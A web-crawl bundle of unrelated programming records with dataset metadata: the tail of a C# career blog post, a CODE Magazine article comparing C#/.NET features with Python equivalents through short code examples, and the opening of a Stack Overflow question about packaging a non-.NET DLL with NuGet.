Blazor is definitely a framework you want to keep an eye on and start using in production.
15. C# developers are in high demand
C# skills are in demand and big and small organizations are using C# daily to develop their critical systems.
There is no shortage of C# developers jobs in the world and this means C# is a secure investment to your future career.
Top C# developers can easily earn a 6 figure salary in the US ($130K+ according to salary.com) and 80K+ in the UK (according to IT Jobs). It's worth sharpening your skills and get in the top 10%.
Obviously salaries around the world varies but it's clear that mastering C# can help you secure a very high paid job.
Conclusion: Learn C# in 2024
I hope this article helped you to better understand the role of C# in the software development industry and why it is such a loved and productive language. C# is a well-designed language in high demand in top software companies around the world. Deciding to invest in mastering C# can be one of the best career decision you can make in 2023. Join my free Modern C# course that 5000+ students enjoed to improve their C# software development skills and become effective engineering leaders.
|
|||
8582
|
dbpedia
|
2
| 12
|
https://www.codemag.com/article/1407051/Python-for-C
|
en
|
Comparing .NET (C#) to Python
|
[
"https://www.codemag.com/Images/Logos/CODEMagazine_Small.png",
"https://www.codemag.com/Images/Logos/CODEMagazine_White_Small.png",
"https://www.codemag.com/Article/AuthorPhotoSmall/7c4702a2-4941-41f1-b29a-fa53d160ac14",
"https://www.codemag.com/Images/Logos/DoodleFreeSubscriptionBanner.png",
"https://www.codemag.com/Magazine/CoverLarge/dfd0787e-65c5-49ab-851d-10bb6ac143d3",
"https://codemag.com/Article/Image/1407051/image1.png",
"https://codemag.com/Article/Image/1407051/image2.png",
"https://codemag.com/Article/Image/1407051/image3.png",
"https://codemag.com/Article/Image/1407051/image4.png",
"https://www.codemag.com/Magazine/CoverLarge/dfd0787e-65c5-49ab-851d-10bb6ac143d3",
"https://www.codemag.com/Images/Banners/End of Article Banner v2.png",
"https://googleads.g.doubleclick.net/pagead/viewthroughconversion/1067389305/?value=0&guid=ON&script=0"
] |
[] |
[] |
[
""
] | null |
[
"CODE Magazine",
"EPS Software Corp",
"Michael Kennedy"
] | null |
Michael compares Python to .NET and C#, and shows us why you’d want which one and when.
|
en
|
/Images/CodeIcon.png
|
https://www.codemag.com/article/1407051/Python-for-C
|
Python is a strongly typed language with dynamic semantics. It's usually executed via an interpreter but it can be JIT compiled. Python works, more or less, equally well on the major desktop and server environments: Linux, Windows, and OS X. Python is a powerful, scalable, and expressive language. Some notable companies that use Python include DropBox (client and server), YouTube, Reddit, Digg, Instagram, Rdio, Pintrest, Google, and Microsoft.
Although we in the .NET community tend to stay focused on the Windows platform and Visual Studio space, it's worth noting how popular and successful Python is becoming in the broader tech industry.
Heidar Bernhardsson analyzed the Hack News announcements for startups during the second half of 2013 and graphed the main language or platform that the announced startup was built on. You can find his full article at http://www.iseld.org/blog/2013/12/13/what-programming-languages-are-technology-startups-using/. (Editor's note: This site URL is no longer working.) See the graph in Figure 1 to see just that Python consistently ranks among the top three and, in December, it was the most popular language used.
Another metric you might choose to evaluate the popularity and vibrancy of a tech ecosystem is the number and size of their user group community. Thanks to www.meetup.com, this is easy to do. Figure 2 shows the relative popularity of .NET and Python in seven metro locations in the US.
There are definitely locations where .NET is more popular than Python. LA's user groups have 1,292 .NET developers versus 918 Python developers. Chicago's user groups have 588 .NET developers versus 266 Python developers. But the general trend is Python significantly outpacing .NET. San Francisco has 3,820 Python developers versus 1,010 .NET developers and New York has a whopping 4,503 Python developers versus 1,116 .NET developers! Finally, it probably won't surprise you that Python is more popular in Silicon Valley. But it's kind of shocking to see that it's 28 times more popular.
It's shocking to see that Python is 28 times more popular than .NET in Silicon Valley.
For all the success and growth that Python has experienced since its creation by Guido Van Rossum (https://en.wikipedia.org/wiki/Guido_van_Rossum) in 1989, it hasn't been widely adopted by the .NET community. I believe this is a significant mistake being made by our slice (specifically, the Microsoft-developer slice) of the industry. That is a generalization of course, but I believe it is basically accurate.
So that naturally leads to the question: Why is Python adoption relatively low among .NET developers? I have some ideas on why this is the case. Before I get started on the tour, let's see if I can dispel some myths. Could it be that:
.NET and C# are simply superior environments and there is no need to look outside the Visual Studio box.
Python uses whitespace and indentation (rather than curly braces) to arrange code and that's just got to be tedious.
Python apps are often distributed as a loose set of text files (rather than compile EXEs and DLLs). That can't be safe.
Python code is interpreted (not JIT compiled or natively compiled) and so Python must be slow and error-prone.
The Python community is heavily biased toward Linux and thus little attention has been given to Python on Windows.
Python developers don't really use IDEs and giving up a tool like Visual Studio is simply something .NET developers are unwilling to do.
The above list highlights some of the perceptions of Python from .NET developers. But do they match reality? Here are the answers: No, No, No, No, Somewhat, No.
Allow me to explain.
.NET is just superior: No. You will see throughout this article that many of the features and capabilities that you value as .NET developers also exist in Python, and many times, in a clearly superior form. However, let's put aside the direct comparisons of the languages for a moment. The ability to write truly cross-platform Python code is a huge advantage over .NET. With the diversity of devices, operating systems, and cloud providers, cross-platform capabilities are only becoming more important, not less important. Without discounting the great work the Xamarin guys have done allowing C# code on other devices (http://www.xamarin.com), choosing Python for cross-platform capabilities over .NET is obvious.
Python's use of significant whitespac is painful and tedious. No. This one surprised me when I was learning Python. You'll see that quality Python editors and IDEs make defining code blocks via whitespace very simple. So, no, using whitespace for code blocks isn't tedious. What will surprise you is, in fact, the reverse perspective. After spending some time writing Python and not worrying about parentheses, curly braces, semicolons, and other syntactical noise, returning to C# is outright dreary.
Python apps are often distributed as a loose set of text files (rather than compile EXEs and DLLs). No. You may encounter the stray *.py file standing in for a proper application in Python, but this is not the only option. For distributing reusable libraries, it's not even the recommended option. Python allows you to build packages that you can think of more or less like .NET DLLs (no, they are not technically compiled, but they are bundled and versioned). For applications, you can go even further. Utilities like cx_Freeze allow you to create full stand-alone, dependency-free EXEs from a set of Python files. These EXEs contain the Python runtime and all Python libraries you have used in your application.
That is pretty amazing. Imagine how much more successful .NET on the client would have been if you could have done this with IL (intermediate language). Of course, you can't because .NET apps require the correct version of the CLR to be preinstalled on the client.
Python code is interpreted (not compiled) making Python slow. No. The idea of how Python code executes (and manages memory, accesses external code, etc.) is very interesting. The default implementation (CPython, see http://python.org/downloads/ ) is interpreted and, nonetheless, very high-end systems have been built upon it (such as Dropbox, YouTube, Pintrest, etc.).
After spending some time writing Python and not worrying about parentheses, curly braces, semicolons, and other syntactical noise, returning to C# is outright dreary.
Moreover, beyond CPython, there's a whole world of variations. There's IronPython, which runs Python code on the .NET runtime. There's Jython, which does similar things on top of Java. You have PyPy (www.pypy.org), which JIT compiles Python and executes it natively. Finally, there is Stackless Python (www.stackless.com), which is an implementation specifically focused on concurrency. There are many more for you to explore discussed on the Python wiki (https://wiki.python.org/moin/PythonImplementations).
Little attention has been given to Python on Windows. Maybe. There is a grain of truth to this myth. The Python community has been traditionally focused on Linux (and to some degree OS X given the shared OS foundation). There is a very interesting presentation by Jessica McKellar entitled “The Future of Python: Choose Your Own Adventure” (https://www.youtube.com/watch?v=d1a4Jbjc-vU). I encourage you to watch the video (it's only 30 minutes, and the Windows part starts at minute 5). The premise of her keynote speech is that there are decision points that the Python community faces that will ultimately decide how successful Python will be in the coming years. One of these points is to make working with Python on Windows better, even delightful.
Python developers don't really use IDEs. No. There are many solid IDEs available for Python on all OSs. The current front-runner is PyCharm, from JetBrains, available at http://www.jetbrains.com/pycharm/ . PyCharm is not only the best IDE for Python, It's also the best IDE for Python on Windows.
More than once, I've wondered how awesome an IDE I'd have if the guys who make Resharper for Visual Studio were to reset the stage and build an IDE from the ground up for .NET without all the backward compatibility cruft in Visual Studio. Well, they did that for Python and it's called PyCharm!
There are also other great IDE options beyond PyCharm. Python Tools for Visual Studio is also free and quite excellent. Download PTVS at https://microsoft.github.io/PTVS/. Others choose PyDev, which is an Eclipse plug-in.
A Lightning Introduction to the Python Language
Let's start with variables and comments. Python objects are strongly-typed but the variables pointing at them are not. To declare and assign a variable, you simply state the name and assign it.
# declare and assign a user variable active_user = db.get_active_user() # access and store a property of the user object first_name = active_user.first_name
Next up: code blocks (sometimes called code suites). Python uses colons and white space rather than curly braces to define code blocks. The following snippet is an if statement. Notice how the first two print statements are part of the if branch.
# get the age from the current user age_input = input('Please enter your age: ') age = int(age_input) # decide if they are eligible for the after party if age >= 21: print("Hey, we're having an after party.") print('Drop by 123 Vine St at 8pm') else: print('Nice to meet you')
Methods are straightforward and use the same technique to define them as other code blocks. All methods have untyped return values, so there's no reason to declare the return type explicitly. This leads to code such as the snippet below that defines two methods: main and verify_reg_status:
def main(): print("app starting up...") is_registered = verify_reg_status(True) if not is_registered: print('app not registered') return print('Running as registered...') def verify_reg_status(required): # check status ... return True
Finally, let's see about classes. In the code snippet below, you'll see how to define classes, inheritance, member methods, and member variables (sometimes referred to as attributes).
class Cat(Animal): def __init__(self, name, friskiness=50): super().__init__() self.name = name self.friskiness = friskiness def wake_up(self): print(self.name + " says 'meow...'")
Notice that you have a class called Cat that derives from Animal (not listed). You define a constructor using the __init__ magic method. All methods are defined the same way as stand-alone methods, but they take a self parameter as the first argument. The self parameter is like the this pointer in C# and C++ but it's explicitly defined as an argument in Python. Finally, you define member variables by dynamically adding them to the instance via the self argument (such as self.friskiness).
Just like that, you now know the basics of the Python language. Of course, there's much more to learn, and I'll dig into the details throughout this article. Using this simple foundation above, you're ready to start exploring the finer points of Python.
What Makes .NET Special and Can Python Compete?
Let's talk about .NET and C# for a moment. When C# came onto the scene in 2001, it was a great leap forward for statically typed languages. Since its introduction, C# has consistently added amazing new language features, such as LINQ and lambda expressions. The .NET ecosystem has evolved to generally embrace open-source as a culture and, more specifically, through the wide-spread adoption of NuGet. When people stop me on the street and ask, “Michael, what makes .NET and C# so awesome? Why do you prefer it over some other languages like Java?” I list off great features like the ones included in Table 1. These include the features that I think make C# and .NET truly shine.
You may be surprised to learn that Python (Python 3 in particular) has every single one of these features in one form or another. In the following sections, I'll explore them by comparing a .NET feature to Python's version of that same feature.
All Objects Share a Common Base Class
One of the first things you learn about .NET is that it's a very object-oriented system. Perhaps the key indicator is that everything derives from System.Object. A typical class could be defined as:
// C# public class Animal : System.Object { // details... }
Here, there is an Animal class that derives from System.Object. You can even omit any base class and C# still makes the Animal derive from System.Object. The benefits here are significant. You can always leverage a common set of operations (such as ToString()). You can always dig into the type via reflection starting with GetType(). Finally, prior to Generics in C# 2, the entire collection system in .NET leveraged this fact.
In Python, there's an almost identical situation:
# Python 3 class Animial( object ): # details ...
Again, you can omit the base class and it's still an object.
IEnumerable and Foreach Loops
Foreach loops have saved C# developers countless hours of dreaded off-by-one errors, invalid cast exceptions, and degraded code readability. In the next code snippet, there's a list of numbers that you can iterate through in the cleanest possible way by using foreach:
// C# int[] nums = { 2, 3, 5, 7 }; foreach ( int n in nums ) { Console.WriteLine("{0}^2 is {1}.", n, n*n); }
Python also has a clean foreach-style loop. In fact, Python has no index-based looping structure equivalent to C#'s for loop whatsoever. Python's iteration-style loop should be very comfortable for you.
# Python 3 nums = [2, 3, 5, 7] for n in nums: print("{0}^2 is {1}.".format(n, n*n))
In both languages, the output is identical:
2^2 is 4. 3^2 is 9. 5^2 is 25. 7^2 is 49.
Of course, C# has a ton of flexibility with foreach loops beyond basic collections. Any type that implements IEnumerable<T> can be efficiently used in foreach. Let's do that with a hypothetical ShoppingCart class that contains CartItems (not shown for brevity).
// C# class ShoppingCart : IEnumerable<CartItem> { List<CartItem> items = new List<CartItem>(); public void Add(CartItem item) { this.items.Add( item ); } public IEnumerator<CartItem> GetEnumerator(){ return items.GetEnumerator(); } IEnumerator IEnumerable.GetEnumerator() { return this.GetEnumerator(); } }
With this ShoppingCart defined, you can now loop across its items just as if it were a list. Implementing IEnumerable<CartItem> is kind of painful. But it can be worthwhile when you want to provide a simple mechanism for consumers of your class to process a set of elements linearly.
Can Python do something like this? The answer is yes. In fact, Python's version is cleaner and easier to implement (which means fewer bugs).
# Python 3 class ShoppingCart: items = [] def __iter__(self): return self.items.__iter__()
Which language would you rather use to implement custom iterable objects? In Python, you simply define an __iter__ magic method that returns something iterable (or a generator, as you will see later). Note: You would likely define the items member variable in the constructor (init method), but for parity with C#'s version, I chose the syntax above, which is also valid.
Properties
C#'s use of properties is pure genius. Consumers of classes want to work with data, not methods that allow you access to data. Code that uses getters and setters (such as user.GetFirstName() or user.SetFirstName("Michael")) is unnatural. One becomes numb to it after years of programming, but that's no excuse. In some languages, such as C++, these getters and setters are necessary evils. Luckily, C# and Python are not among those languages.
Here is a simple computed property and a typical use-case in C#:
public class Person { // details elided public string FullName { get { return this.FirstName + " " + this.LastName; } } } // usage Person person = new Person("Michael", "Kennedy"); string name = person.FullName;
Here's the same scenario in Python.
# Python 3 class Person: # details elided @property def full_name(self): return self.first_name + " " + \ self.last_name # usage person = Person('Michael', 'Kennedy') name = person.full_name
You can also define read-only properties as well as read/write properties. In both languages, having protected or computed data that is as straightforward to consume as basic fields is a huge boost to users consuming the classes available to them.
In some languages, such as C++, these getters and setters are necessary evils. Luckily C# and Python are not among those languages.
Anonymous Types
Anonymous types were introduced to C# in version 3.0, which may well be the most important release of C# to date beyond version 1.0. This release included LINQ, anonymous types, lambda expressions, and extension methods.
Anonymous types are best understood in the context of LINQ. They allow you to do object-oriented, strongly-typed projections in ORMs and LINQ without the need to create a new class for each set of columns you're projecting.
That said, let's look at anonymous types by themselves for this comparison. Python's equivalent is also used frequently around ORMs as well.
The following code creates a class with an integer Age property and a string Name property.
// C# var dog = new { Age = 7, Name = "Rover" }; if (dog.Age > 5) { // treat dog as older } Console.WriteLine(dog); // Outputs: { Age = 7, Name = Rover }
To use Anonymous types in Python, you need to define a new type to gain full parity with C#. Python's Dictionary type is very flexible and almost fills this role, except the named usage in the if statement (in this example, dog.Age) won't work. So first, let me define a class named AnonType that shows the crazy flexibility Python has:
# Python 3 class AnonType(dict): __getattr__ = dict.get __setattr__ = dict.__setitem__
With AnonType in place, here is the corresponding code for creating an anonymous dog as above (ironically, this anonymous dog has a name).
# Python 3 dog = AnonType( age=7, name="Rover" ) if dog.age > 5: # treat dog as older print(dog); # Outputs: {'name': 'Rover', 'age': 7}
Although there isn't 100% parity between the two implementations, they are essentially the same. You can also get a glimpse of what's possible with Python if you deconstruct how I implemented Anonymous types in the AnonType class above.
Namespaces and Using Statements
Platforms like .NET have huge base class libraries. According to one measure [http://blogs.msdn.com/b/brada/archive/2008/03/17/number-of-types-in-the-net-framework.aspx], .NET 3.5 has 11,417 types! Even so, .NET is not nearly as overwhelming as it could be. This is because they cleverly leverage namespaces and assemblies to group types by functionality. .NET only exposes the functionality you opt into via Using statements and references.
The following C# code snippet pulls in just what you need. You can even redefine a name of a type to suit your situation.
// C# using System; using System.Collections.Concurrent; using System.IO; using MutableString = System.Text.StringBuilder;
The Python community also has a large base class library (known as the standard library) (https://docs.python.org/3.3/library/). The Python community even has a great phrase to describe this. They say Python comes with batteries included, by which they mean you already have most of the classes you need to accomplish a task. There is also the same sense of consuming a set of group types with packages (Python's assemblies).
The Python code snippet below brings types from two packages (io and sys). The import statement can be thought of as a Using statement combined with an add reference operation. You can see many similarities to C#'s Using statement (importing the library sys, redefining the BufferedReader as buffer, and so on).
# Python 3 import sys from io import StringIO from io import BufferedReader as buffer
Lambda Expressions and Delegates
As I stated above, I believe C# 3.0 was the golden release for C#. Lambda expressions are definitely a key reason. Lambda expressions allow you to define very concise blocks of code which can be passed around as parameters. They play a key role in threading and LINQ, just to name a few uses.
I believe C# 3.0 was the golden release for C#. and lambda expressions are definitely a key reason.
Here's an example of how you can use lambdas to add custom sorting to a list:
// C# var people = new List<Person>() { new Person("jeff", 40), new Person("zoe", 27), new Person("tod", 19), new Person("bill", 50), new Person("ted", 44), }; people.Sort((p1, p2) => p1.Age.CompareTo(p2.Age));
Does Python have a feature as clean and useful as lambdas in C#? You bet, and they're also called lambdas. Here's the same code in Python (note that the way sorting is done varies slightly from C#):
# Python 3 people = [ Person('jeff', 40), Person('zoe', 27), Person('tod', 19), Person('bill', 50), Person('ted', 44), ] people.sort(key=lambda p: p.age)
Observe the similarities: You specify the arguments and use a goes to symbol ( => in C# and : in Python) to separate the expression from the inputs. Python uses a lambda keyword at the beginning, which C# doesn't need due to the type inference and the static typing.
LINQ
LINQ might be the single most significant idea introduced by C#. Not only does it allow developers to treat in-memory data as if it were a database, it unifies virtually all data sources that choose to integrate with it.
A query against a List<Book>, a SQL database with a book table, and a MongoDB collection of books may be indistinguishable by only reading the LINQ query. Once you learn how to access one system, you can access most of them via LINQ.
Here's a C# example of finding all people who match some criteria. Consider the set of people from the previous example. If you wanted to find all the people 21 or older, you could write this code.
// C# var partiers = from p in people // iteration where p.Age >= 21 // filtering orderby p.Age // ordering select new {p.Name, p.Age}; // projection
It turns out that Python has a remarkably similar syntax. However, its capabilities are spread across multiple features, so working with databases requires a different API (e.g., SQLAlchemy) than working with in-memory objects.
Here's what's called a list comprehension that performs the same query (note that the sort cannot be as easily combined). It includes a declarative iteration, filtering, and a projection.
# Python 3 partiers = [ AnonType(name=p.name, age=p.age) # projection for p in people # iteration if p.age >= 21 # filtering ] partiers.sort(key=lambda p: p.age) # ordering
If you want to run the same basic query against a database of people in Python, you need to use SQLAlchemy. You'll see that style later during the discussion of Entity Framework and ORMs.
Iterator Methods
Iterator methods may be the least well-known killer feature of C#. Introduced in C# 2.0, iterator methods allow you to define significantly simpler and higher-performance custom iteration sources.
For example, here's the C# code to implement the Fibonacci series efficiently. Note that the returned set is infinite, so the consuming foreach loops are meant to break out at some point.
// C# public static IEnumerable<int> Fibonacci() { int current = 0; int next = 1; while (true) { yield return next; int temp = current; current = next; next = temp + current; } }
If you thought that was impressive, check out the Python version.
# Python 3 def fibonacci(): current, nxt = 0, 1 while True: current, nxt = nxt, nxt+current yield current
In almost every way, this Python code is identical to the C# above. In fact, I would argue that this is cleaner and easier to read. That's not surprising, as Python was designed for readability. Note that next is a Python built-in method so, to avoid confusion (and overriding it), I chose nxt for the variable name.
Attributes and Declarative Programming
Attributes are another thing that C# nailed out of the gate (in version 1.0). The ability to declaratively modify code is very powerful.
Here's an example of converting a regular interface into a WCF service contract using the ServiceContract and OperationContract attributes.
// C# [ServiceContract] public interface ICalculator { [OperationContract] double Add(double n1, double n2); [OperationContract] double Subtract(double n1, double n2); }
Python has functionality very similar to .NET attributes that's used for declarative programming, called decorators. Your intuition to map them to attributes will generally serve you well even though they are implemented totally differently.
Python has functionality very similar to .NET attributes that's used for declarative programming, called decorators.
The show method below is a view handler (think action method from MVC) in a Pyramid controller (one of Python's Web frameworks). The decorator is the part before the method definition that starts with @.
# Python 3 @pyramid_handlers.action( renderer='mywebapp:templates/books/show.pt') def show(self): bookId = self.request.matchdict['id'] repo = Repository() book = repo.books_by_id(bson.ObjectId(bookId)) return book.to_dict()
By using the action decorator, you control the view template rendered when the method is run as well as the route that (implicitly) maps the /controller/show.
Dynamic Keyword
C# 4.0 was all about dynamic programming. That version introduced the dynamic keyword to the language. A major impetus of this was to enable C# (a static language) to be friendlier to dynamic language interop (via the DLR), which was being added to .NET around that time - including Python, via IronPython, coincidentally. Learn more about the DLR at https://en.wikipedia.org/wiki/Dynamic_Language_Runtime.
Types in languages such as Python, Ruby, and JavaScript are built more than they are defined by their code. Thus, any form of static typing is not available for interop between C# and those languages.
Here are a few examples of dynamic access in C#:
// C# // Can access ISBN property of ANY return type: dynamic data = GetDataFromService(); string isbn = data.ISBN; // Add arbitrary fields to an object: dynamic expando = new ExpandoObject(); expando.Name = "Michael"; expando.Age = 40;
As you might expect, Python's dynamic semantics can parallel these features and many more. Here's what this might look like in Python:
# Python 3 data = get_data_from_service() isbn = data.ISBN
There is nothing special to indicate dynamic access because that is how Python always works. And to dynamically append data to any type (as long as it's a custom class), you just set the properties.
# Python 3 class AnyCustomType: pass any_type = AnyCustomType() any_type.name = "Michael" any_type.age = 40
Notice that this ability to dynamically declare fields (known as attributes in Python) from outside the class is analogous to how classes designate their member variables from their constructors (i.e., the __init__ magic method):
# Python 3 class Car: def __init__(self, year, top_speed): self.year = year self.top_speed = top_speed
NuGet
NuGet has revolutionized how .NET developers share and consume code, especially in the open-source space. Prior to NuGet, you might find an occasional project using log4net or NUnit or some other open-source library. Now, open-source and .NET are inseparable. The new ASP.NET MVC projects ship with many open-source libraries including JSON.NET, jQuery, Knockout, and more. They're kept up-to-date with NuGet with a single command. A quick visit over to https://www.nuget.org/ shows there are currently 22,749 libraries, and this number grows every day. It's indeed a golden age.
NuGet is awesome indeed. But it didn't come into existence in a vacuum. In fact, it was inspired by other ecosystems that had amazing package management tools such as Ruby (with Ruby Gems) and Python (with PyPI).
Everything you love about .NET and NuGet can be found in Python with the Python Package Index.
Everything you love about .NET and NuGet can be found in Python with the Python Package Index (also known as PyPI or even sometimes as “the cheese shop”). Today, PyPI has 43,573 packages! Just like with NuGet, packages track and manage their dependencies. They can be installed via command-line commands or via GUIs within IDEs such as PyCharm. Figure 3 shows package management within the PyCharm IDE on OS X.
If you're working in Python and need some piece of functionality that isn't built-in, PyPI should be your first stop! You can browse the package index online at https://pypi.python.org/pypi.
You do need to exercise a bit of care when working with either NuGet or PyPI. Packages are developed by third-party developers (welcome to the open source world!) and they come with a variety of OSS licenses. This can include GPL, which may make your project GPL as well. If you don't want this, just be aware of the licenses for the projects you're consuming.
Side-by-Side Execution
Think back to the year 1998. On the Microsoft developer scene, COM was king. Although there were many benefits from the binary compatibility that COM brought to the platform, one very painful aspect was versioning. The dark side of COM's code reusability even got a scary name: DLL hell!
The very abridged story of the problem goes like this: App 2 is installed and requires v2 of COM component A and so installs v2 of A.dll. Next, App 1 is built on v1 of COM component A and when installed, installs v1 of A.dll. It turns out that v1 and v2 of A.dll are not binarily compatible and thus App 2 no longer runs. It crashes with a mysterious page fault! Of course, the developer cannot reproduce the error in support. There is very little App 2 can do to protect itself. It has entered DLL hell.
With this very real challenge plaguing many COM applications, .NET was built to avoid DLL hell altogether. Multiple versions of the .NET Framework can be installed side-by-side on the same computer without (much) interference. Moreover, multiple versions of .NET DLLs can be installed on the same computer using the global assembly cache (AKA the GAC). While not perfect, this has solved most of the DLL hell issues.
With Python, they've also considered their own versioning issues and there are several clever solutions. Python has chosen to solve the problem in a different way. With .NET, you have one global registry per framework version. For example, there is one .NET 4.5 on your system.
In Python, there are two solutions. First of all, you can install Python multiple times into different locations. You can also install multiple versions side-by-side (e.g., Python 3 32-bit, Python 3 64-bit, and Python 2 32-bit). Building on that, Python has virtual environments. With virtual environments, you can clone any Python version into a local working copy and use that copy as your runtime. Into this virtual environment, you can install all of the dependencies needed to run your app. For example, if you are writing a Web app with Pyramid, which uses MongoDB, you can you can use PyPI and PIP to install pymongo for MongoDB support and Pyramid and its dependencies for the MVC Web framework (specifying the version as necessary).
An added benefit of these virtual environments is that they provide a list of dependencies for deployment. What does your server need to run this app? Look in the virtual environment and see what's installed. That's it. With .NET, you may say that the packages folder from NuGet serves the same purpose, but it's not quite equivalent. With .NET, you always have some items coming from the GAC (e.g., System.Web.MVC in early versions of MVC), thus knowing the dependencies is still tricky.
Entity Framework and Relational ORMs
Long gone are the days of writing inline SQL for the majority of .NET applications. Almost all developers use Entity Framework (EF) to access relational databases in .NET. In EF, you create classes that model the data and then express queries using those classes.
The days of writing inline SQL for the majority of applications are long gone.
Let's take an example of a book shop implemented in EF. You might find code like this that finds books in a given category that are in stock, and sorts them by title.
// C# string category = "Programming"; var books = db.Books .Where( b => b.CopiesInStock > 0 && b.Category == category) .OrderBy(b => b.Title);
The thought of returning to writing raw SQL probably makes you want to curl up in a ball and hide. So if you are going to write data-intensive applications in Python, it had better have something comparable. It does!
The Python equivalent of EF is a clever and mature library called SQLAlchemy. With SQLAlchemy, you will find code that is very similar to EF code. You define classes and use them to model the data and you use them as the basis for queries. You can find SQLAlchemy at https://www.sqlalchemy.org/.
Here is that same example from above in Python.
# Python 3 category = "Programming" books = session.query(Book) \ .filter(Book.category == category)\ .order_by(Book.title.desc())
That is pretty clean RDBMS code in any language. Anyone comfortable with EF and (the fluent version of) LINQ should be right at home in SQLAlchemy.
People often wonder which databases are supported by SQLAlchemy. It supports most of them including: PostgreSQL, MySQL, Oracle, Microsoft SQL Server, and SQLite.
ASP.NET MVC
In the .NET world, there is a very solid Web framework with ASP.NET MVC. You can write clean code, separate views and logic, and consume data using ORMs such as Entity Framework.
You may be wondering what the equivalent of ASP.NET MVC is in the Python world. Python has a whole set of Web frameworks from which to choose. The top three are Pyramid, Django, and Flask. Each one of these has their own flavor of MVC-style separation of concerns.
You will find them at http://www.pylonsproject.org/, https://www.djangoproject.com/, http://flask.pocoo.org/ respectively.
Django is full-featured framework. It comes with its own ORM (active-record style, similar to Ruby on Rails). It has a built-in CRUD admin back-end for managing your data. It features a massive set of packaged apps that you can plug into your website. Visit Django Packages [https://djangopackages.org/] and you'll find over 2,000 reusable building blocks (although sadly most are not Python 3 compatible).
Notable sites built with Django include:
Discus
Instagram
Pintrest
Rdio
Pyramid and Flask have a different approach than Django. These are what are called Web micro frameworks. You only bring in the functionality as needed and you have greater flexibility in choosing that functionality. They don't prescribe a preferred set of subsystems. Consider data access: they don't come with a built-in ORM or data management admin section. If you need data access, you can choose SQLAlchemy for as a relational ORM, or you can choose PyMongo for a NoSQL/MongoDB back-end. If you need a data admin section, you write it yourself. You have the freedom and responsibility to put the building blocks together.
It's worth mentioning that Pyramid has much better support for Python 3 than does Flask.
Notable sites built with Pyramid include:
Dropbox
Reddit
Digg
Rather than try to take these Web frameworks apart and compare them to ASP.NET, I'll just encourage you to visit their websites. They have tutorials and good documentation. You'll find most of what you love about ASP.NET MVC in these Web frameworks!
JIT Compilation
At first, you might distinguish Python and .NET by saying that Python is interpreted and .NET is JIT compiled (with the typical performance benefits you get with JIT-compiled execution). However, the truth is much more interesting and nuanced than this and it's important to know your options which choosing a Python implementation (runtime) for your project.
You might distinguish Python and .NET by saying that Python is interpreted and .NET is JIT. However the truth is much more interesting and nuanced.
The default implementation for Python is CPython. This is the interpreted version of Python (the official implementation found at https://www.python.org/ ). In this version, most Python code is interpreted. However, performance-critical sections of external packages and built-in types are implemented and executed in C via C-extensions. A good example is PyMongo (the official MongoDB access library for Python), which has optional C speed-ups that may be installed as part of the PyMongo library. That means the performance critical part of database access for MongoDB is executed in fully complied C, not interpreted Python. All of a sudden, this interpreted versus JIT-compiled comparison starts to blur.
Looking beyond standard Python (CPython), there's a whole array of alternate implementations. There's PyPy, which is a JIT-based Python runtime that happens to also be implemented in Python (hence the name). There's IronPython from Microsoft, which runs Python code on the CLR. With IronPython, you can expose your Python code to .NET/C# code and you can consume .NET libraries in your Python code. Closely related to IronPython, there's Jython (the Java equivalent of IronPython). Finally, there's Stackless Python, which allows programmers to reap the benefits of thread-based programming without the performance and complexity problems associated with conventional threads.
Native Apps, GUI Apps, and Visual Designers
You've seen that Python is a pretty amazing language. You may even want to try it for your next project. However, if that project is a client-side application, especially if it's a GUI, using Python can seem impractical. The idea of taking a set of Python scripts, handing them to your users, and requiring them to ensure that the right version of Python is installed, that Python is in the path, and that it has the supporting packages installed, is pretty much a non-starter. End users need a native app.
Python has you covered here as too! With libraries like cx_Freeze for dependency-free Windows EXEs and py2app for native OS X apps, you can build truly redistributable applications. Find cx_Freeze at https://cx-freeze.readthedocs.io/en/latest/ and py2app at https://py2app.readthedocs.io/en/latest/.
Moreover, with libraries like PyQt/PySide (available at https://pypi.python.org/pypi/PySide) and wxPython, you can build GUI-based applications. There is even a visual designer for the Qt framework that can be used with PyQt and PySide. See Figure 4 for a sense of what the QT Designer looks like.
In addition to the Qt cross-platform and wxPython cross-platform options, you can also write natively for the OS while sharing the custom logic across platforms.
These libraries enable you to keep your app logic in a single Python package, which can be consumed by your OS X and Windows UI applications.
PyObjC is a native wrapper for the Cocoa Objective-C APIs in OS X (similar to what Xamarin is doing for iOS/C#). IronPython supports WPF and Windows Forms apps written in Python and running on .NET. You can use it to build native Windows UIs. Taken together, these libraries enable you to keep your app logic in a single Python package that can be consumed by both your PyObjC and IronPython UI applications, giving you the best of both worlds: cross-platform code reuse and fully native UI applications.
Summary
You've taken a tour of almost every major feature of .NET framework and the C# language. You have compared those features to their closest equivalent in the Python language and found amazing parity between the two ecosystems and languages.
I hope this tour has inspired you to learn more about Python. It's a very clean and expressive language that should be quite comfortable for .NET developers.
Now the question is: What are you going to build in Python? With Pyramid, you can build amazing Web apps. With a combination of PyObjC, IronPython, and some shared core modules, you can build native GUI applications on OS X and Windows. You can even put a bow around those UI apps with py2app and cx_Freeze that can turn both into native redistributables (app bundles and EXEs). Finally, with the rich data access capabilities of SQLAlchemy for RDBMSes and PyMongo for MongoDB, you can build some amazing data-driven applications. The choice is yours. Pick a small project to learn on and take Python for a spin.
|
|||||
8582
|
dbpedia
|
3
| 7
|
https://stackoverflow.com/questions/42555239/is-it-possible-to-create-a-nuget-package-for-a-non-dotnet-dll
|
en
|
Is it possible to create a Nuget package for a non-dotnet DLL?
|
[
"https://www.gravatar.com/avatar/12c67f1d3abf32f6cc9f1d09b8f9f81a?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/b102996d7ccb2f84389d88ea6bb0a173?s=64&d=identicon&r=PG&f=y&so-version=2",
"https://stackoverflow.com/posts/42555239/ivc/3e78?prg=0f398e72-51e3-4ca4-be53-db8d4e694b51"
] |
[] |
[] |
[
""
] | null |
[] |
2017-03-02T12:13:16
|
Just a plain boring DLL, not created as a .Net project, which needs some sort of version control. Is it possible to create a Nuget package for this using the Nuget tools?
|
en
|
https://cdn.sstatic.net/Sites/stackoverflow/Img/favicon.ico?v=ec617d715196
|
Stack Overflow
|
https://stackoverflow.com/questions/42555239/is-it-possible-to-create-a-nuget-package-for-a-non-dotnet-dll
|
You can add any files as a content to a nuget package. It will be copied to the project output.
You can check out here: https://learn.microsoft.com/en-us/nuget/schema/nuspec#including-content-files
Example nuspec:
|
||||
8582
|
dbpedia
|
2
| 28
|
https://www.phidgets.com/docs/Language_-_C_Sharp
|
en
|
Language - C Sharp
|
[
